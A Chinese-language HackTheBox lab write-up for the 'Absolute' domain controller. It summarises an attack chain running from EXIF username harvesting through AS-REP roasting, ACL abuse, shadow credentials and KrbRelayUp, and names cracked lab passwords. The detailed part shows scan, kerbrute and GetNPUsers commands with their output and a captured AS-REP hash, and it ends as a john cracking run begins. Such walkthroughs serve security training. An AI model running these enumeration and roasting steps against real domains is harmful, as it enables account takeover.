HackTheBox-Absolute

大梦一场的董二千先生 推开窗户 举起望远镜 眼底映出 一阵浓烟 前已无通路 后不见归途

知识点与路径总结

靶机信息：10.129.232.60，域 absolute.htb，Windows Server 2019 域控（DC），难度 Hard。

核心知识点

  • OSINT 用户名收集：从网站图片 EXIF 元数据（Author/Artist 字段）提取真实姓名，按常见企业命名规则批量生成用户名字典。
  • Kerberos 用户枚举：用 kerbrute userenum 通过 KDC 的预认证响应差异（KDC_ERR_PREAUTH_REQUIRED vs PRINCIPAL_UNKNOWN）验证域内有效用户名，无需任何凭据。
  • AS-REP Roasting：针对关闭了 Kerberos 预认证（DONT_REQUIRE_PREAUTH）的账户，离线爆破 AS-REP 报文中用用户口令派生密钥加密的部分。
  • 禁用 NTLM 环境下的 Kerberos 认证：STATUS_ACCOUNT_RESTRICTION 表明目标禁用了 NTLM，必须先 getTGT 申请 Kerberos 票据（ccache）再走 -k 认证。
  • 信息泄露横向移动：用户描述字段泄露 svc_smb 口令 → SMB 共享中的 test.exe 运行后通过 LDAP 流量抓包泄露 m.lovegod 口令。
  • 基于 ACL 的权限提升：WriteOwner → dacledit 授予 FullControl → 加组 → GenericWrite，借助 BloodHound 分析并利用 ACL 攻击链。
  • 影子凭据（Shadow Credentials）攻击：利用 msDS-KeyCredentialLink 属性写入，用 certipy shadow auto 为目标账户申请证书并 PKINIT 获取 TGT 与 NT hash。
  • KrbRelay / KrbRelayUp 本地提权：Kerberos 中继实现本地系统提权（受”受保护的用户”组限制的注意事项）。

攻击路径

  1. 端口扫描 → 识别为域控（53/88/389/636/…）。
  2. 网站图片 EXIF → 提取 6 个作者姓名 → 生成用户名字典。
  3. kerbrute 验证出 6 个有效用户 → impacket-GetNPUsers 发现 d.klay 可 AS-REP Roasting。
  4. john 爆破得到 d.klay / Darkmoonsky248girl。
  5. NTLM 被禁用（STATUS_ACCOUNT_RESTRICTION）→ getTGT 走 Kerberos → 枚举用户，描述字段泄露 svc_smb / AbsoluteSMBService123!。
  6. svc_smb 读取 Shared 共享 → 运行 test.exe 抓包 → LDAP 流量泄露 m.lovegod / AbsoluteLDAP2022!。
  7. BloodHound 分析 ACL 链：m.lovegod（Networkers 组）→ WriteOwner → Network Audit → GenericWrite → winrm_user。
  8. owneredit + dacledit + 加组 → 对 winrm_user 做影子凭据攻击（certipy shadow auto）→ 拿到 TGT/NT hash → evil-winrm 登录取得 user.txt。
  9. 上传 KrbRelayUp 等工具，利用 KrbRelay 技术本地提权至 SYSTEM（root）。

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# ./rustscan -a 10.129.232.60 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.232.60:53
Open 10.129.232.60:80
Open 10.129.232.60:88
Open 10.129.232.60:135
Open 10.129.232.60:139
Open 10.129.232.60:389
Open 10.129.232.60:593
Open 10.129.232.60:636
Open 10.129.232.60:3268
Open 10.129.232.60:3269
Open 10.129.232.60:5985
Open 10.129.232.60:9389
Open 10.129.232.60:47001
Open 10.129.232.60:49664
Open 10.129.232.60:49665
Open 10.129.232.60:49667
Open 10.129.232.60:49666
Open 10.129.232.60:49674
Open 10.129.232.60:49673
Open 10.129.232.60:49675
Open 10.129.232.60:49683
Open 10.129.232.60:49688
Open 10.129.232.60:49703
Open 10.129.232.60:57101
[~] Starting Script(s)
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-02 12:29 +0000
Initiating Ping Scan at 12:29
Scanning 10.129.232.60 [4 ports]
Completed Ping Scan at 12:29, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:29
Completed Parallel DNS resolution of 1 host. at 12:29, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 12:29
Scanning 10.129.232.60 [24 ports]
Discovered open port 139/tcp on 10.129.232.60
Discovered open port 80/tcp on 10.129.232.60
Discovered open port 135/tcp on 10.129.232.60
Discovered open port 49703/tcp on 10.129.232.60
Discovered open port 47001/tcp on 10.129.232.60
Discovered open port 49675/tcp on 10.129.232.60
Discovered open port 9389/tcp on 10.129.232.60
Discovered open port 53/tcp on 10.129.232.60
Discovered open port 636/tcp on 10.129.232.60
Discovered open port 57101/tcp on 10.129.232.60
Discovered open port 3269/tcp on 10.129.232.60
Discovered open port 49665/tcp on 10.129.232.60
Discovered open port 49674/tcp on 10.129.232.60
Discovered open port 593/tcp on 10.129.232.60
Discovered open port 49688/tcp on 10.129.232.60
Discovered open port 49667/tcp on 10.129.232.60
Discovered open port 49666/tcp on 10.129.232.60
Discovered open port 49673/tcp on 10.129.232.60
Discovered open port 49664/tcp on 10.129.232.60
Discovered open port 5985/tcp on 10.129.232.60
Discovered open port 88/tcp on 10.129.232.60
Discovered open port 3268/tcp on 10.129.232.60
Discovered open port 389/tcp on 10.129.232.60
Discovered open port 49683/tcp on 10.129.232.60
Completed SYN Stealth Scan at 12:29, 0.28s elapsed (24 total ports)
Nmap scan report for 10.129.232.60
Host is up, received echo-reply ttl 127 (0.10s latency).
Scanned at 2026-09-02 12:29:31 UTC for 0s

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
47001/tcp open  winrm            syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49665/tcp open  unknown          syn-ack ttl 127
49666/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49673/tcp open  unknown          syn-ack ttl 127
49674/tcp open  unknown          syn-ack ttl 127
49675/tcp open  unknown          syn-ack ttl 127
49683/tcp open  unknown          syn-ack ttl 127
49688/tcp open  unknown          syn-ack ttl 127
49703/tcp open  unknown          syn-ack ttl 127
57101/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.99 seconds
           Raw packets sent: 28 (1.208KB) | Rcvd: 25 (1.084KB)


1
2
3
4
5
6
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nxc smb 10.129.232.60 -u '' -p '' --shares
SMB         10.129.232.60   445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.60   445    DC               [+] absolute.htb\: 
SMB         10.129.232.60   445    DC               [-] Error enumerating shares: STATUS_ACCESS_DENIED

加入域名并枚举子域名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://absolute.htb/ --append-domain -t 25 -k | grep -vE "302|301"
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://absolute.htb/
[+] Method:                    GET
[+] Threads:                   25
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
xn--nckxa3g7cq2b5304djmxc-biz.absolute.htb Status: 400 [Size: 334]
xn--cckcdp5nyc8g2837ahhi954c-jp.absolute.htb Status: 400 [Size: 334]
xn--7ck2d4a8083aybt3yv-com.absolute.htb Status: 400 [Size: 334]
xn--u9jxfma8gra4a5989bhzh976brkn72bo46f-com.absolute.htb Status: 400 [Size: 334]
xn--y8jvc027l5cav97szrms90clsb-com.absolute.htb Status: 400 [Size: 334]
xn--t8j3b111p8cgqtb3v9a8tm35k-jp.absolute.htb Status: 400 [Size: 334]
xn--new-h93bucszlkray7gqe-jp.absolute.htb Status: 400 [Size: 334]
xn--2-uc7a56k9z0ag5f2zfgq0d-jp.absolute.htb Status: 400 [Size: 334]
xn--68j4bva0f0871b88tc-com.absolute.htb Status: 400 [Size: 334]
xn--68jza6c5o5cqhlgz994b-jp.absolute.htb Status: 400 [Size: 334]
xn--zck3adi4kpbxc7d2131c5g2au9css5o-jp.absolute.htb Status: 400 [Size: 334]
xn--u9j5h1btf1e9236atkap9eil-jp.absolute.htb Status: 400 [Size: 334]
xn--u9j5h1btf1en15qnfb9z6hxg3a-jp.absolute.htb Status: 400 [Size: 334]
xn--54qq0q0en86ikgxilmjza-biz.absolute.htb Status: 400 [Size: 334]
xn--qckr4fj9ii2a7e-jp.absolute.htb Status: 400 [Size: 334]
xn--u9j5h1btf1eo45u111ac9hf95c-com.absolute.htb Status: 400 [Size: 334]
xn--fdkc8h2az097bv1wbh4e-jp.absolute.htb Status: 400 [Size: 334]
xn--yckvb0d4245c-jp.absolute.htb Status: 400 [Size: 334]
xn--39ja4cb4nqb6d4fu546bkkucpl7d-jp.absolute.htb Status: 400 [Size: 334]
xn--u9j0goar6iyfrb7809ddyvakw0e2vh-biz.absolute.htb Status: 400 [Size: 334]
xn--nckuad2au4azb6dvd8fna2594hb0sc-biz.absolute.htb Status: 400 [Size: 334]
xn--eckm3b6d2a9b3gua9f2d6658ehctafoz-jp.absolute.htb Status: 400 [Size: 334]
xn--line-yn4ckbymxil606bodya-jp.absolute.htb Status: 400 [Size: 334]
xn--pride-ym4dqj0d4g-com.absolute.htb Status: 400 [Size: 334]
xn--u9jxhkb1qu36p2lc-com.absolute.htb Status: 400 [Size: 334]
xn--cckueqa6319czn9a-com.absolute.htb Status: 400 [Size: 334]
xn--zck9awe6d692p972a905d-jp.absolute.htb Status: 400 [Size: 334]
xn--tor55ycb159b1ndz7ifa3356d-biz.absolute.htb Status: 400 [Size: 334]
xn--y8j2eb0209aooq-biz.absolute.htb Status: 400 [Size: 334]
xn--u9j5h1btf1e330r917aok7b5id-com.absolute.htb Status: 400 [Size: 334]
xn--ujqp84atlah52f-com.absolute.htb Status: 400 [Size: 334]
xn--news-4c4cuuha3z9b3580f16c-jp.absolute.htb Status: 400 [Size: 334]
xn--n9j8gnb1bza2am-jp.absolute.htb Status: 400 [Size: 334]
xn--9ckkn5226aut1aee3bgbf6ma-jp.absolute.htb Status: 400 [Size: 334]
xn--88j6ea1a4250bdrdi9am84bkx5cbp2b8xe-asia.absolute.htb Status: 400 [Size: 334]
xn--ruqr59dpuht2t50er1m-jp.absolute.htb Status: 400 [Size: 334]
xn--hckqzd2f3dwc2d3a-com.absolute.htb Status: 400 [Size: 334]
xn--zck9awe6d418qo4jbw1c-jp.absolute.htb Status: 400 [Size: 334]
xn--kckwar5itb7grc-com.absolute.htb Status: 400 [Size: 334]
xn--00-bh4a8cuhme-jp.absolute.htb Status: 400 [Size: 334]
xn--n9jxild6c580r9ygq36b1ocor6evm4b39d-com.absolute.htb Status: 400 [Size: 334]
xn--p8j5cxcyjlcygn342e-com.absolute.htb Status: 400 [Size: 334]
xn--zck9awe6d4687a257a-jp.absolute.htb Status: 400 [Size: 334]
xn--t8jo4884a-jp.absolute.htb Status: 400 [Size: 334]
xn--cck0a2a1dug6be8l-com.absolute.htb Status: 400 [Size: 334]
xn--nbkzdraq9b9dtevlv08xj5b1vh-com.absolute.htb Status: 400 [Size: 334]
xn--kckb1c4m-jp.absolute.htb Status: 400 [Size: 334]
xn--n8jvdsa6soa5jz01vtb9bg6lk11hdbi-jp.absolute.htb Status: 400 [Size: 334]
xn--jprz31c82x93etka-com.absolute.htb Status: 400 [Size: 334]
xn--n8j4mybtf1e2217b-jp.absolute.htb Status: 400 [Size: 334]
xn--qiq69x-saitamajp.absolute.htb Status: 400 [Size: 334]
xn--z9j3g6bzc7bxc8c4074d4nud-biz.absolute.htb Status: 400 [Size: 334]
xn--28jzf747o512b-jp.absolute.htb Status: 400 [Size: 334]
xn--pcka4lj0a1as2jf5847fr93b-net.absolute.htb Status: 400 [Size: 334]
xn--zck9awe6dr30vedfmxiwrkn2c-jp.absolute.htb Status: 400 [Size: 334]
xn--zck9awe6d872rezhp3y9g1f-jp.absolute.htb Status: 400 [Size: 334]
xn--w8j6ctc930wo9za2qf-com.absolute.htb Status: 400 [Size: 334]
xn--cckcdp5nyc8g2745a3y4a-biz.absolute.htb Status: 400 [Size: 334]
xn--dckix0be3bww9s3erh-net.absolute.htb Status: 400 [Size: 334]
xn--t8j0a6ivbyo0d2h2g2785a340f-jp.absolute.htb Status: 400 [Size: 334]
xn--zck9awe6d5989b6fc-jp.absolute.htb Status: 400 [Size: 334]
xn--hckp3ac2l-jp.absolute.htb Status: 400 [Size: 334]
xn--7-kgu4es24uf5q-jp.absolute.htb Status: 400 [Size: 334]
xn--u9j360h32opa140d-com.absolute.htb Status: 400 [Size: 334]
xn--t8j0a6ivbyo0d2h2g-jp.absolute.htb Status: 400 [Size: 334]
xn--vck5d6ae0cyc7801bnpyb-jp.absolute.htb Status: 400 [Size: 334]
xn--u9j5h1btf1e613xpbuzkc252m-jp.absolute.htb Status: 400 [Size: 334]
xn--elq250e1mhg47a-jp.absolute.htb Status: 400 [Size: 334]
xn--88j6ea1a3393bcta1uk721ac9l-asia.absolute.htb Status: 400 [Size: 334]
xn--av-693a1dpa20aaa2gsa2gd1bd4a8bzooolevh5230egdpb-com.absolute.htb Status: 400 [Size: 334]
xn--eckm3b6d2a9b3gua9f2dz124ebp0a-jp.absolute.htb Status: 400 [Size: 334]
xn--n8j9cqo2a0nk59oghe-com.absolute.htb Status: 400 [Size: 334]
xn--88j6ea1a0780bctddtas67ckx5cbp2b8xe-asia.absolute.htb Status: 400 [Size: 334]
xn--pckwb0cua2ei-jp.absolute.htb Status: 400 [Size: 334]
xn--edktc2a4827cket59b-com.absolute.htb Status: 400 [Size: 334]
xn--p8judqlpc9fsf-jp.absolute.htb Status: 400 [Size: 334]
xn--pckwbo6k815nvjfp43bt81d-jp.absolute.htb Status: 400 [Size: 334]
xn--n8j4mybtf1e613xwn2bc64b-jp.absolute.htb Status: 400 [Size: 334]
xn--tckybd3guczb1829b7ghx6trhlupd-jp.absolute.htb Status: 400 [Size: 334]
xn--88j2foda3h0b8ny00x2i5adx6d-jp.absolute.htb Status: 400 [Size: 334]
xn--b9j6am4izjxd2h2gq122d-jp.absolute.htb Status: 400 [Size: 334]
xn--u9j0c604kneons8a-com.absolute.htb Status: 400 [Size: 334]
xn--u9j1hsdzb9d9bv308dff9c-net.absolute.htb Status: 400 [Size: 334]
xn--eck6e6b987uy7i-jp.absolute.htb Status: 400 [Size: 334]
xn--mdko7702aecw-com.absolute.htb Status: 400 [Size: 334]
xn--yckc2auxd4b1246f4y1b-jp.absolute.htb Status: 400 [Size: 334]
xn--line-tk4c0cf2ooiyhod-jp.absolute.htb Status: 400 [Size: 334]
xn--lurea-mm4dysia-jp.absolute.htb Status: 400 [Size: 334]
xn--3kqu3oh0b77g34dt2lxzn4mre5ohlvlx1c-com.absolute.htb Status: 400 [Size: 334]
xn--akb-fu0e63gwsk9wi4dt38bp4bk6ivrnww8e2uwcils-com.absolute.htb Status: 400 [Size: 334]
xn--y8jua4a3aa5irgf4841fknvi-asia.absolute.htb Status: 400 [Size: 334]
xn--u8jua8gqbf5b9c-com.absolute.htb Status: 400 [Size: 334]
xn--ols92risjhpv-asia.absolute.htb Status: 400 [Size: 334]
xn--u9j5h1btf1es15qifb9z6hcj5d-jp.absolute.htb Status: 400 [Size: 334]
xn--u9j0c2f2crdwc2cwdv219fiuc-biz.absolute.htb Status: 400 [Size: 334]
xn--68je3c7dsev110a6cu7y0e6xk71t-jp.absolute.htb Status: 400 [Size: 334]
xn--u9jb5p4ctkpbzdu307a19ai49kda-jp.absolute.htb Status: 400 [Size: 334]
xn--zckqft4pu73w8go-jp.absolute.htb Status: 400 [Size: 334]
xn--30r99m89hxoam8ze2n05l-biz.absolute.htb Status: 400 [Size: 334]
xn--icko4ae3d6o-jp.absolute.htb Status: 400 [Size: 334]
xn--line-ym4cqkvg9752bcyva-jp.absolute.htb Status: 400 [Size: 334]
xn--vsqv9lppf53f-com.absolute.htb Status: 400 [Size: 334]
xn--t8j3b4ef5oa1c8e1srau1b8r-jp.absolute.htb Status: 400 [Size: 334]
xn--navi-ul4c1e8bg9i0h4h-jp.absolute.htb Status: 400 [Size: 334]
xn--3-4eu4ewb4f-jp.absolute.htb Status: 400 [Size: 334]
xn--t8jg7fsgvi0d2h2g-jp.absolute.htb Status: 400 [Size: 334]
xn--cgi-qs9d423tgelegd-net.absolute.htb Status: 400 [Size: 334]
xn--nckgh0pyb4cb0662e3ze8mpt2h2w6bmjzaoh9a-net.absolute.htb Status: 400 [Size: 334]
xn--u9j5h1btf1e9236ag6b1v8idc0a-jp.absolute.htb Status: 400 [Size: 334]
xn--pcktab2b3dta2oze-jp.absolute.htb Status: 400 [Size: 334]
xn--t8j3b4ef5mpcvq0dvb-jp.absolute.htb Status: 400 [Size: 334]
xn--eckle2a3a6k5eucvec7hu028b33tg-net.absolute.htb Status: 400 [Size: 334]
xn--x8jc3d5hp94mb34d3m4a-jp.absolute.htb Status: 400 [Size: 334]
xn--eckg4cd6wc6i-com.absolute.htb Status: 400 [Size: 334]
xn--t8jxd7cyb-jp.absolute.htb Status: 400 [Size: 334]
xn--24-zb4aym5cqhlgl55v9p2b-jp.absolute.htb Status: 400 [Size: 334]
xn--p8jn4h6d6kxd2h2g-jp.absolute.htb Status: 400 [Size: 334]
xn--gckvas0t2a-biz.absolute.htb Status: 400 [Size: 334]
xn--yckc2auxd4b6564dogvcf7g-jp.absolute.htb Status: 400 [Size: 334]
xn--58j5bk8cwnpc8czq6095c-jp.absolute.htb Status: 400 [Size: 334]
xn--pckj3hf8gj-biz.absolute.htb Status: 400 [Size: 334]
xn--4gr53rqoa84h99wywlvrxf7n-net.absolute.htb Status: 400 [Size: 334]
xn--swqq1zt9i4xa94dl3f-net.absolute.htb Status: 400 [Size: 334]
xn--y8jp0mua-jp.absolute.htb Status: 400 [Size: 334]
xn--cckj1c2j2bwf6044bomgf76b-net.absolute.htb Status: 400 [Size: 334]
xn--zckwa8eyf040sre5d-jp.absolute.htb Status: 400 [Size: 334]
xn--n8j0ao7f9a7304bz1zayk3ai7h-com.absolute.htb Status: 400 [Size: 334]
xn--czr78lt57a-jp.absolute.htb Status: 400 [Size: 334]
xn--ecki1b5br0ae8iyd3due-jpnet.absolute.htb Status: 400 [Size: 334]
xn--qckyd1cv50v-jp.absolute.htb Status: 400 [Size: 334]
xn--n8jl84alc9fsf5446c-com.absolute.htb Status: 400 [Size: 334]
===============================================================
Finished
===============================================================

无果，尝试目录爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# dirsearch -u http://absolute.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/reports/http_absolute.htb/__26-09-02_12-32-58.txt

Target: http://absolute.htb/

[12:32:58] Starting: 
[12:32:59] 403 -  312B  - /%2e%2e//google.com                               
[12:32:59] 301 -  146B  - /js  ->  http://absolute.htb/js/                  
[12:32:59] 403 -  312B  - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd             
[12:33:10] 403 -  312B  - /\..\..\..\..\..\..\..\..\..\etc\passwd           
[12:33:27] 403 -  312B  - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd     
[12:33:30] 301 -  147B  - /css  ->  http://absolute.htb/css/                
[12:33:35] 301 -  149B  - /fonts  ->  http://absolute.htb/fonts/            
[12:33:38] 301 -  150B  - /images  ->  http://absolute.htb/images/          
[12:33:38] 403 -    1KB - /images/                                          
[12:33:40] 403 -    1KB - /js/

没有东西，这里看了一下wp，发现是images目录下的图片有author这个内容

原理：JPEG 等图片在保存时会写入 EXIF/XMP 元数据，其中 Artist、Author、Creator 等字段常常保留了图片制作者的真实姓名。在域渗透的初始信息收集阶段，这些真实姓名是构造用户名字典的绝佳来源——因为企业的 AD 账户命名往往直接从员工姓名派生（如 j.roberts、jroberts）。

1
for i in $(seq 1 6); do wget http://absolute.htb/images/hero_${i}.jpg; done
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# exiftool hero_1.jpg
ExifTool Version Number         : 13.55
File Name                       : hero_1.jpg
Directory                       : .
File Size                       : 407 kB
File Modification Date/Time     : 2022:06:07 19:45:20+00:00
File Access Date/Time           : 2026:09:02 13:00:07+00:00
File Inode Change Date/Time     : 2026:09:02 13:00:07+00:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Little-endian (Intel, II)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Artist                          : James Roberts
Y Cb Cr Positioning             : Centered
Quality                         : 60%
XMP Toolkit                     : Image::ExifTool 11.88
Author                          : James Roberts
Creator Tool                    : Adobe Photoshop CC 2018 Macintosh
Derived From Document ID        : 6413FD608B5C21D0939F910C0EFBBE44
Derived From Instance ID        : 6413FD608B5C21D0939F910C0EFBBE44
Document ID                     : xmp.did:887A47FA048811EA8574B646AF4FC464
Instance ID                     : xmp.iid:887A47F9048811EA8574B646AF4FC464
DCT Encode Version              : 100
APP14 Flags 0                   : [14], Encoded with Blend=1 downsampling
APP14 Flags 1                   : (none)
Color Transform                 : YCbCr
Image Width                     : 1900
Image Height                    : 1150
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 1900x1150
Megapixels                      : 2.2

针对每张图片的作者生成用户名字典

1
2
3
4
5
6
7
James Roberts
Michael Chaffrey
Donald Klay
Sarah Osvald
Jeffer Robinson
Nicole Smith

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
james
jamesroberts
james.roberts
jamesrob
jamerobe
jamesr
j.roberts
jroberts
rjames
r.james
robertsj
roberts
roberts.j
roberts.james
jr
michael
michaelchaffrey
michael.chaffrey
michaelc
michchaf
m.chaffrey
mchaffrey
cmichael
c.michael
chaffreym
chaffrey
chaffrey.m
chaffrey.michael
mc
donald
donaldklay
donald.klay
donaldkl
donaklay
donaldk
d.klay
dklay
kdonald
k.donald
klayd
klay
klay.d
klay.donald
dk
sarah
sarahosvald
sarah.osvald
sarahosv
saraosva
saraho
s.osvald
sosvald
osarah
o.sarah
osvalds
osvald
osvald.s
osvald.sarah
so
jeffer
jefferrobinson
jeffer.robinson
jefferro
jeffrobi
jefferr
j.robinson
jrobinson
rjeffer
r.jeffer
robinsonj
robinson
robinson.j
robinson.jeffer
nicole
nicolesmith
nicole.smith
nicolesm
nicosmit
nicoles
n.smith
nsmith
snicole
s.nicole
smithn
smith
smith.n
smith.nicole
ns

使用kerbrute进行验证

原理：Kerberos 预认证阶段，KDC 对”用户不存在”和”用户存在但需要预认证”会返回不同的错误码（KDC_ERR_C_PRINCIPAL_UNKNOWN 与 KDC_ERR_PREAUTH_REQUIRED）。kerbrute 正是利用这一差异，在无需任何有效凭据、且通常不会触发账户锁定的情况下，快速判定哪些用户名在域中真实存在，从而把庞大的猜测字典收敛为少数几个确认账户。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# ./kerbrute_linux_amd64 userenum --dc dc.absolute.htb -d absolute.htb usernames


    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 09/02/26 - Ronnie Flathers @ropnop

2026/09/02 13:04:34 >  Using KDC(s):
2026/09/02 13:04:34 >  	dc.absolute.htb:88

2026/09/02 13:04:34 >  [+] VALID USERNAME:	 j.roberts@absolute.htb
2026/09/02 13:04:34 >  [+] VALID USERNAME:	 m.chaffrey@absolute.htb
2026/09/02 13:04:35 >  [+] VALID USERNAME:	 s.osvald@absolute.htb
2026/09/02 13:04:35 >  [+] VALID USERNAME:	 d.klay@absolute.htb
2026/09/02 13:04:35 >  [+] VALID USERNAME:	 j.robinson@absolute.htb
2026/09/02 13:04:35 >  [+] VALID USERNAME:	 n.smith@absolute.htb
2026/09/02 13:04:35 >  Done! Tested 88 usernames (6 valid) in 1.010 seconds

做AS-Rep-Roasting尝试

原理：正常情况下 Kerberos 要求客户端在 AS-REQ 中携带用时间戳加密的预认证数据，以证明自己掌握口令。若某账户设置了 DONT_REQ_PREAUTH 标志（即关闭预认证），任何人都可以直接向 KDC 索要该用户的 AS-REP，而其中一段是用用户口令派生的密钥加密的。攻击者把这段密文离线拿去爆破，命中即得到明文口令——这就是 AS-REP Roasting。下面的输出中只有 d.klay 未设置预认证，因此仅它返回了可爆破的 $krb5asrep$ 哈希。

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-GetNPUsers -dc-ip dc.absolute.htb -usersfile users.txt absolute.htb/ 
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User m.chaffrey doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.osvald doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$d.klay@ABSOLUTE.HTB:13ce486a6b1942a15c53e82475894ca9$71bf72f550a2347ad1de678fe9352d8550a7a3e1f77881a17b97c273b1c92d32eda60e4306d80c1cc2fe539a94477f96664dc9f9ec935aa43f73858694791cbcdfc8b3ed20e0e44bbdbdd4d265441f637066708c3bb24b3ff5c850f18459981286768a5897f189e1681628c81882a7e6571a52e535cfe14cbee482568d8b358b0d5b39ec1a3f2c7567d94d5c771a5657fcfe49c344f14b46fbfab8d1fc1dd6815d9f68b105b576c9893d1a847882aab48cc0757656ffb4915e19b13b92566c3e56e919157cba78733d6822f62aa29501285cab09f268cb82db94fcf2fdd96ce5043293bdae37bd9ac3e02c53
[-] User j.robinson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User n.smith doesn't have UF_DONT_REQUIRE_PREAUTH set

使用john破解d.klay的哈希

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# john hash.txt --wordlist=rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
